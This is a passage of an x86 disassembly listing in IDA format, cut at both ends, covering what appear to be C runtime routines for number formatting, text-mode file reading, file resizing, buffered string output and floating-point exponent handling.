loc_44D689: ; CODE XREF: sub_44D331+33Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jle short loc_44D6EC
mov ax, [ebp+arg_C]
dec ax
mov [ebp+arg_C], ax
mov edx, [ebp+arg_0]
movsx eax, ax
cmp [edx+2Ch], eax
jge short loc_44D6B1
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_44D6B1: ; CODE XREF: sub_44D331+374j
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
loc_44D6EC: ; CODE XREF: sub_44D331+35Fj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
mov [ebp+arg_8], eax
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov dl, [ebp+arg_4]
mov [eax], dl
cmp [ebp+arg_10], 0
jl short loc_44D71A
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Bh
jmp short loc_44D72A
; ---------------------------------------------------------------------------
loc_44D71A: ; CODE XREF: sub_44D331+3D9j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Dh
neg [ebp+arg_10]
loc_44D72A: ; CODE XREF: sub_44D331+3E7j
mov [ebp+var_8], 0
jmp short loc_44D75C
; ---------------------------------------------------------------------------
loc_44D733: ; CODE XREF: sub_44D331+430j
push 0Ah
movsx eax, [ebp+arg_10]
push eax
call sub_44E131
add esp, 8
mov [ebp+var_1C], eax
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov [ebp+eax+var_12], dl
mov eax, [ebp+var_1C]
mov [ebp+arg_10], ax
inc [ebp+var_8]
loc_44D75C: ; CODE XREF: sub_44D331+400j
cmp [ebp+arg_10], 0
jg short loc_44D733
cmp [ebp+var_8], 2
jge short loc_44D780
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_44D774
cmp al, 45h
jnz short loc_44D780
loc_44D774: ; CODE XREF: sub_44D331+43Dj
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
loc_44D780: ; CODE XREF: sub_44D331+436j
; sub_44D331+441j
cmp [ebp+var_8], 0
jnz short loc_44D7AD
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
jmp short loc_44D7AD
; ---------------------------------------------------------------------------
loc_44D794: ; CODE XREF: sub_44D331+480j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov edx, [ebp+var_8]
dec edx
mov [ebp+var_8], edx
mov dl, [ebp+edx+var_12]
add dl, 30h
mov [eax], dl
loc_44D7AD: ; CODE XREF: sub_44D331+453j
; sub_44D331+461j
cmp [ebp+var_8], 0
jg short loc_44D794
mov eax, [ebp+arg_0]
mov edx, [ebp+arg_8]
mov ecx, [eax+1Ch]
mov ebx, [eax+10h]
add ecx, ebx
sub edx, ecx
mov [eax+24h], edx
loc_44D7C6: ; CODE XREF: sub_44D331+16Bj
; sub_44D331+1E5j ...
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax+38h]
and eax, 14h
cmp eax, 10h
jnz short loc_44D809
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [eax+1Ch]
add edx, ecx
mov ecx, [eax+20h]
add edx, ecx
mov ecx, [eax+24h]
add edx, ecx
mov eax, [eax+28h]
add eax, edx
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+34h]
cmp [ebp+var_8], eax
jge short loc_44D809
mov eax, [ebp+arg_0]
mov edx, [eax+34h]
sub edx, [ebp+var_8]
mov [eax+18h], edx
loc_44D809: ; CODE XREF: sub_44D331+4A2j
; sub_44D331+4CAj
pop ebx
mov esp, ebp
pop ebp
retn
sub_44D331 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D811 proc near ; CODE XREF: sub_44C861+348p
; DMN1:0044DB8Cp
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
xor edi, edi
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
cmp [ebp+arg_8], 0
jz short loc_44D846
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 2
jz short loc_44D84D
loc_44D846: ; CODE XREF: sub_44D811+18j
xor eax, eax
jmp loc_44DB36
; ---------------------------------------------------------------------------
loc_44D84D: ; CODE XREF: sub_44D811+33j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 48h
jz short loc_44D8AF
cmp byte ptr [eax+5], 0Ah
jz short loc_44D8AF
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov edx, ebx
and edx, 1Fh
imul edx, 24h
mov ecx, ebx
sar ecx, 5
mov ecx, dword_413988[ecx*4]
mov dl, [ecx+edx+5]
mov [eax], dl
inc edi
dec [ebp+arg_8]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+5], 0Ah
loc_44D8AF: ; CODE XREF: sub_44D811+56j
; sub_44D811+5Cj
push 0
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+var_C]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18 ; ReadFile
test eax, eax
jnz short loc_44D91F
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
cmp eax, 5
jnz short loc_44D900
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_44DB36
; ---------------------------------------------------------------------------
loc_44D900: ; CODE XREF: sub_44D811+DAj
cmp [ebp+var_10], 6Dh
jnz short loc_44D90D
xor eax, eax
jmp loc_44DB36
; ---------------------------------------------------------------------------
loc_44D90D: ; CODE XREF: sub_44D811+F3j
mov eax, [ebp+var_10]
push eax
call sub_4491C1
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44DB36
; ---------------------------------------------------------------------------
loc_44D91F: ; CODE XREF: sub_44D811+CCj
mov eax, [ebp+var_4]
add edi, eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 80h
jz loc_44DB34
cmp [ebp+var_4], 0
jz short loc_44D96E
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0Ah
jnz short loc_44D96E
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 4
jmp short loc_44D989
; ---------------------------------------------------------------------------
loc_44D96E: ; CODE XREF: sub_44D811+136j
; sub_44D811+13Ej
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FBh
loc_44D989: ; CODE XREF: sub_44D811+15Bj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov esi, eax
jmp loc_44DB1D
; ---------------------------------------------------------------------------
loc_44D996: ; CODE XREF: sub_44D811+313j
cmp byte ptr [esi], 1Ah
jnz short loc_44D9DA
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 40h
jnz loc_44DB2A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 2
jmp loc_44DB2A
; ---------------------------------------------------------------------------
loc_44D9DA: ; CODE XREF: sub_44D811+188j
cmp byte ptr [esi], 0Dh
jz short loc_44D9F4
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_44DB1D
; ---------------------------------------------------------------------------
loc_44D9F4: ; CODE XREF: sub_44D811+1CCj
mov eax, [ebp+arg_4]
lea eax, [eax+edi-1]
cmp esi, eax
jnb short loc_44DA2E
cmp byte ptr [esi+1], 0Ah
jnz short loc_44DA19
add esi, 2
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp loc_44DB1D
; ---------------------------------------------------------------------------
loc_44DA19: ; CODE XREF: sub_44D811+1F2j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_44DB1D
; ---------------------------------------------------------------------------
loc_44DA2E: ; CODE XREF: sub_44D811+1ECj
inc esi
mov [ebp+var_10], 0
push 0
lea eax, [ebp+var_4]
push eax
push 1
lea eax, [ebp+var_11]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18 ; ReadFile
test eax, eax
jnz short loc_44DA6D
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
loc_44DA6D: ; CODE XREF: sub_44D811+251j
cmp [ebp+var_10], 0
jnz short loc_44DA79
cmp [ebp+var_4], 0
jnz short loc_44DA8A
loc_44DA79: ; CODE XREF: sub_44D811+260j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
jmp loc_44DB1D
; ---------------------------------------------------------------------------
loc_44DA8A: ; CODE XREF: sub_44D811+266j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 48h
jz short loc_44DAE2
cmp [ebp+var_11], 0Ah
jnz short loc_44DAB9
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_44DB1D
; ---------------------------------------------------------------------------
loc_44DAB9: ; CODE XREF: sub_44D811+298j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_11]
mov [edx+eax+5], cl
jmp short loc_44DB1D
; ---------------------------------------------------------------------------
loc_44DAE2: ; CODE XREF: sub_44D811+292j
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_8]
jnz short loc_44DAFE
cmp [ebp+var_11], 0Ah
jnz short loc_44DAFE
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_44DB1D
; ---------------------------------------------------------------------------
loc_44DAFE: ; CODE XREF: sub_44D811+2D7j
; sub_44D811+2DDj
push 1
push 0FFFFFFFFh
push ebx
call sub_44CD71
add esp, 0Ch
cmp [ebp+var_11], 0Ah
jz short loc_44DB1D
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
loc_44DB1D: ; CODE XREF: sub_44D811+180j
; sub_44D811+1DEj ...
mov eax, [ebp+arg_4]
add eax, edi
cmp esi, eax
jb loc_44D996
loc_44DB2A: ; CODE XREF: sub_44D811+1A3j
; sub_44D811+1C4j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov edi, eax
loc_44DB34: ; CODE XREF: sub_44D811+12Cj
mov eax, edi
loc_44DB36: ; CODE XREF: sub_44D811+37j
; sub_44D811+EAj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44D811 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_44DB6C
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44DB7C
loc_44DB6C: ; CODE XREF: DMN1:0044DB4Fj
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44DB9F
; ---------------------------------------------------------------------------
loc_44DB7C: ; CODE XREF: DMN1:0044DB6Aj
push ebx
call sub_44BC01
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_44D811
add esp, 0Ch
mov esi, eax
push ebx
call sub_44BC61
pop ecx
mov eax, esi
loc_44DB9F: ; CODE XREF: DMN1:0044DB7Aj
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
call sub_44DD21
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44DBD1 proc near ; CODE XREF: sub_44C861+35Fp
; sub_44DD21+46p
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1014h
call sub_4486B1
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_4], 0
push 1
push 0
push ebx
call sub_44CD71
add esp, 0Ch
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_44DC15
push 2
push 0
push ebx
call sub_44CD71
add esp, 0Ch
mov [ebp+var_8], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44DC1D
loc_44DC15: ; CODE XREF: sub_44DBD1+2Dj
or eax, 0FFFFFFFFh
jmp loc_44DD11
; ---------------------------------------------------------------------------
loc_44DC1D: ; CODE XREF: sub_44DBD1+42j
mov eax, [ebp+arg_4]
mov esi, eax
sub esi, [ebp+var_8]
test esi, esi
jle loc_44DCC2
lea edx, [ebp+var_1010]
mov ecx, 1000h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
push 8000h
push ebx
call sub_44E161
add esp, 8
mov [ebp+var_10], eax
loc_44DC53: ; CODE XREF: sub_44DBD1+E0j
cmp esi, 1000h
jb short loc_44DC67
mov [ebp+var_1014], 1000h
jmp short loc_44DC6F
; ---------------------------------------------------------------------------
loc_44DC67: ; CODE XREF: sub_44DBD1+88j
mov eax, esi
mov [ebp+var_1014], eax
loc_44DC6F: ; CODE XREF: sub_44DBD1+94j
mov eax, [ebp+var_1014]
push eax
lea eax, [ebp+var_1010]
push eax
push ebx
call sub_44B5F1
add esp, 0Ch
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44DCA9
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 5
jnz short loc_44DCA3
call sub_449321
mov dword ptr [eax], 0Dh
loc_44DCA3: ; CODE XREF: sub_44DBD1+C5j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_44DCB3
; ---------------------------------------------------------------------------
loc_44DCA9: ; CODE XREF: sub_44DBD1+BAj
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg short loc_44DC53
loc_44DCB3: ; CODE XREF: sub_44DBD1+D6j
mov eax, [ebp+var_10]
push eax
push ebx
call sub_44E161
add esp, 8
jmp short loc_44DCFF
; ---------------------------------------------------------------------------
loc_44DCC2: ; CODE XREF: sub_44DBD1+56j
test esi, esi
jge short loc_44DCFF
push 0
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_44CD71
add esp, 0Ch
push ebx
call sub_44BAE1
pop ecx
push eax
call dword_411E1C ; SetEndOfFile
test eax, eax
setnz al
and eax, 1
dec eax
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44DCFF
call sub_449321
mov dword ptr [eax], 0Dh
loc_44DCFF: ; CODE XREF: sub_44DBD1+EFj
; sub_44DBD1+F3j ...
push 0
mov eax, [ebp+var_C]
push eax
push ebx
call sub_44CD71
add esp, 0Ch
mov eax, [ebp+var_4]
loc_44DD11: ; CODE XREF: sub_44DBD1+47j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44DBD1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44DD21 proc near ; CODE XREF: DMN1:0044DBBCp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_44DD4A
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44DD5A
loc_44DD4A: ; CODE XREF: sub_44DD21+Cj
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44DD7A
; ---------------------------------------------------------------------------
loc_44DD5A: ; CODE XREF: sub_44DD21+27j
push ebx
call sub_44BC01
pop ecx
mov eax, [esp+8+arg_4]
push eax
push ebx
call sub_44DBD1
add esp, 8
mov esi, eax
push ebx
call sub_44BC61
pop ecx
mov eax, esi
loc_44DD7A: ; CODE XREF: sub_44DD21+37j
pop esi
pop ebx
retn
sub_44DD21 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44DD81 proc near ; CODE XREF: sub_44CC41+EFp
; sub_44CC41+100p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
jmp loc_44DE3E
; ---------------------------------------------------------------------------
loc_44DD95: ; CODE XREF: sub_44DD81+C0j
mov eax, [esi+18h]
cmp eax, [esi+10h]
ja short loc_44DDB0
push esi
call sub_449E21
pop ecx
test eax, eax
jge short loc_44DDB0
or eax, 0FFFFFFFFh
jmp loc_44DE60
; ---------------------------------------------------------------------------
loc_44DDB0: ; CODE XREF: sub_44DD81+1Aj
; sub_44DD81+25j
test word ptr [esi], 400h
jz short loc_44DDC7
push 0Ah
push ebx
call sub_44E271
add esp, 8
mov [ebp+var_C], eax
jmp short loc_44DDCE
; ---------------------------------------------------------------------------
loc_44DDC7: ; CODE XREF: sub_44DD81+34j
mov [ebp+var_C], 0
loc_44DDCE: ; CODE XREF: sub_44DD81+44j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
test eax, eax
jz short loc_44DDE3
mov eax, [ebp+var_4]
sub eax, ebx
inc eax
mov [ebp+var_10], eax
jmp short loc_44DDF2
; ---------------------------------------------------------------------------
loc_44DDE3: ; CODE XREF: sub_44DD81+55j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_44DDE8: ; CODE XREF: sub_44DD81+6Cj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44DDE8
mov [ebp+var_10], eax
loc_44DDF2: ; CODE XREF: sub_44DD81+60j
mov edi, [ebp+var_10]
mov eax, [esi+18h]
mov edx, [esi+10h]
sub eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_8], edi
jnb short loc_44DE0F
mov [ebp+var_4], 0
mov edi, [ebp+var_8]
loc_44DE0F: ; CODE XREF: sub_44DD81+82j
push edi
push ebx
mov eax, [esi+10h]
push eax
call sub_4485B1
add esp, 0Ch
add ebx, edi
lea eax, [esi+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_4], 0
jz short loc_44DE3E
push esi
call sub_449C21
pop ecx
test eax, eax
jz short loc_44DE3E
or eax, 0FFFFFFFFh
jmp short loc_44DE60
; ---------------------------------------------------------------------------
loc_44DE3E: ; CODE XREF: sub_44DD81+Fj
; sub_44DD81+ABj ...
cmp byte ptr [ebx], 0
jnz loc_44DD95
test word ptr [esi], 800h
jz short loc_44DE5E
push esi
call sub_449C21
pop ecx
test eax, eax
jz short loc_44DE5E
or eax, 0FFFFFFFFh
jmp short loc_44DE60
; ---------------------------------------------------------------------------
loc_44DE5E: ; CODE XREF: sub_44DD81+CBj
; sub_44DD81+D6j
xor eax, eax
loc_44DE60: ; CODE XREF: sub_44DD81+2Aj
; sub_44DD81+BBj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44DD81 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44DE71 proc near ; CODE XREF: sub_44D291+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_4]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_44DEC7
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
test word ptr [ebx+6], 0Fh
jnz short loc_44DEB3
cmp word ptr [ebx+4], 0
jnz short loc_44DEB3
cmp word ptr [ebx+2], 0
jnz short loc_44DEB3
cmp word ptr [ebx], 0
jz short loc_44DEBA
loc_44DEB3: ; CODE XREF: sub_44DE71+2Cj
; sub_44DE71+33j ...
mov edi, 2
jmp short loc_44DEBF
; ---------------------------------------------------------------------------
loc_44DEBA: ; CODE XREF: sub_44DE71+40j
mov edi, 1
loc_44DEBF: ; CODE XREF: sub_44DE71+47j
mov ax, di
movsx eax, ax
jmp short loc_44DF0B
; ---------------------------------------------------------------------------
loc_44DEC7: ; CODE XREF: sub_44DE71+1Bj
test si, si
jg short loc_44DEDB
push ebx
call sub_44E291
pop ecx
mov si, ax
test ax, ax
jg short loc_44DF00
loc_44DEDB: ; CODE XREF: sub_44DE71+59j
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
or eax, 3FE0h
mov [ebx+6], ax
mov edx, [esp+0Ch+arg_0]
mov ax, si
sub ax, 3FEh
mov [edx], ax
or eax, 0FFFFFFFFh
jmp short loc_44DF0B
; ---------------------------------------------------------------------------
loc_44DF00: ; CODE XREF: sub_44DE71+68j
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
xor eax, eax
loc_44DF0B: ; CODE XREF: sub_44DE71+54j
; sub_44DE71+8Dj
pop edi
pop esi
pop ebx
retn
sub_44DE71 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44DF11 proc near ; CODE XREF: sub_44D2B1+Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_44DF66
test word ptr [ebx+6], 0Fh
jnz short loc_44DF4F
cmp word ptr [ebx+4], 0
jnz short loc_44DF4F
cmp word ptr [ebx+2], 0
jnz short loc_44DF4F
cmp word ptr [ebx], 0
jz short loc_44DF56
loc_44DF4F: ; CODE XREF: sub_44DF11+28j
; sub_44DF11+2Fj ...
mov edi, 2
jmp short loc_44DF5B
; ---------------------------------------------------------------------------
loc_44DF56: ; CODE XREF: sub_44DF11+3Cj
mov edi, 1
loc_44DF5B: ; CODE XREF: sub_44DF11+43j
mov ax, di
movsx eax, ax
jmp loc_44E11B
; ---------------------------------------------------------------------------
loc_44DF66: ; CODE XREF: sub_44DF11+20j
test si, si
jnz short loc_44DF81
push ebx
call sub_44E291
pop ecx
mov si, ax
test ax, ax
jle short loc_44DF81
xor eax, eax
jmp loc_44E11B
; ---------------------------------------------------------------------------
loc_44DF81: ; CODE XREF: sub_44DF11+58j
; sub_44DF11+67j
movsx eax, si
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+arg_4], eax
cmp eax, 7FFh
jl short loc_44DFC3
test word ptr [ebx+6], 8000h
jz short loc_44DFA8
fld dbl_4119DC
fchs
fstp [ebp+var_8]
jmp short loc_44DFB1
; ---------------------------------------------------------------------------
loc_44DFA8: ; CODE XREF: sub_44DF11+88j
fld dbl_4119DC
fstp [ebp+var_8]
loc_44DFB1: ; CODE XREF: sub_44DF11+95j
mov eax, [ebp+arg_0]
fld [ebp+var_8]
fstp qword ptr [eax]
mov eax, 1
jmp loc_44E11B
; ---------------------------------------------------------------------------
loc_44DFC3: ; CODE XREF: sub_44DF11+80j
cmp [ebp+arg_4], 0
jle short loc_44DFE9
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
mov edx, [ebp+arg_4]
movsx edx, dx
shl edx, 4
or eax, edx
mov [ebx+6], ax
or eax, 0FFFFFFFFh
jmp loc_44E11B
; ---------------------------------------------------------------------------
loc_44DFE9: ; CODE XREF: sub_44DF11+B6j
mov ax, [ebx+6]
and ax, 8000h
mov word ptr [ebp+var_8+6], ax
movzx eax, word ptr [ebx+6]
and eax, 0Fh
or eax, 10h
mov [ebx+6], ax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
cmp eax, 0FFFFFFCCh
jge short loc_44E02F
mov ax, word ptr [ebp+var_8+6]
mov [ebx+6], ax
mov word ptr [ebx+4], 0
mov word ptr [ebx+2], 0
mov word ptr [ebx], 0
xor eax, eax
jmp loc_44E11B
; ---------------------------------------------------------------------------
loc_44E02F: ; CODE XREF: sub_44DF11+FCj
mov eax, [ebp+arg_4]
mov word ptr [ebp+var_8+4], ax
jmp short loc_44E05A
; ---------------------------------------------------------------------------
loc_44E038: ; CODE XREF: sub_44DF11+14Ej
mov ax, [ebx+2]
mov [ebx], ax
mov ax, [ebx+4]
mov [ebx+2], ax
mov ax, [ebx+6]
mov [ebx+4], ax
mov word ptr [ebx+6], 0
add word ptr [ebp+var_8+4], 10h
loc_44E05A: ; CODE XREF: sub_44DF11+125j
cmp word ptr [ebp+var_8+4], 0FFF0h
jle short loc_44E038
movsx eax, word ptr [ebp+var_8+4]
neg eax
mov word ptr [ebp+var_8+4], ax
test ax, ax
jz loc_44E110
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx]
mov ecx, eax
sar edx, cl
mov dword ptr [ebp+var_8], edx
movzx ecx, word ptr [ebx+2]
mov [ebp+var_C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_C]
shl eax, cl
mov edx, dword ptr [ebp+var_8]
or edx, eax
mov ax, dx
mov [ebx], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+2]
mov ecx, eax
sar edx, cl
mov [ebp+var_10], edx
movzx ecx, word ptr [ebx+4]
mov [ebp+var_14], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_14]
shl eax, cl
mov edx, [ebp+var_10]
or edx, eax
mov ax, dx
mov [ebx+2], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+4]
mov ecx, eax
sar edx, cl
mov [ebp+var_18], edx
movzx ecx, word ptr [ebx+6]
mov [ebp+var_1C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_1C]
shl eax, cl
mov edx, [ebp+var_18]
or edx, eax
mov ax, dx
mov [ebx+4], ax
movzx eax, word ptr [ebx+6]
movsx ecx, word ptr [ebp+var_8+4]
sar eax, cl
mov [ebx+6], ax
loc_44E110: ; CODE XREF: sub_44DF11+15Dj
mov ax, word ptr [ebp+var_8+6]
or [ebx+6], ax
or eax, 0FFFFFFFFh
loc_44E11B: ; CODE XREF: sub_44DF11+50j
; sub_44DF11+6Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44DF11 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E131 proc near ; CODE XREF: sub_44D331+409p
var_8 = dword ptr -8
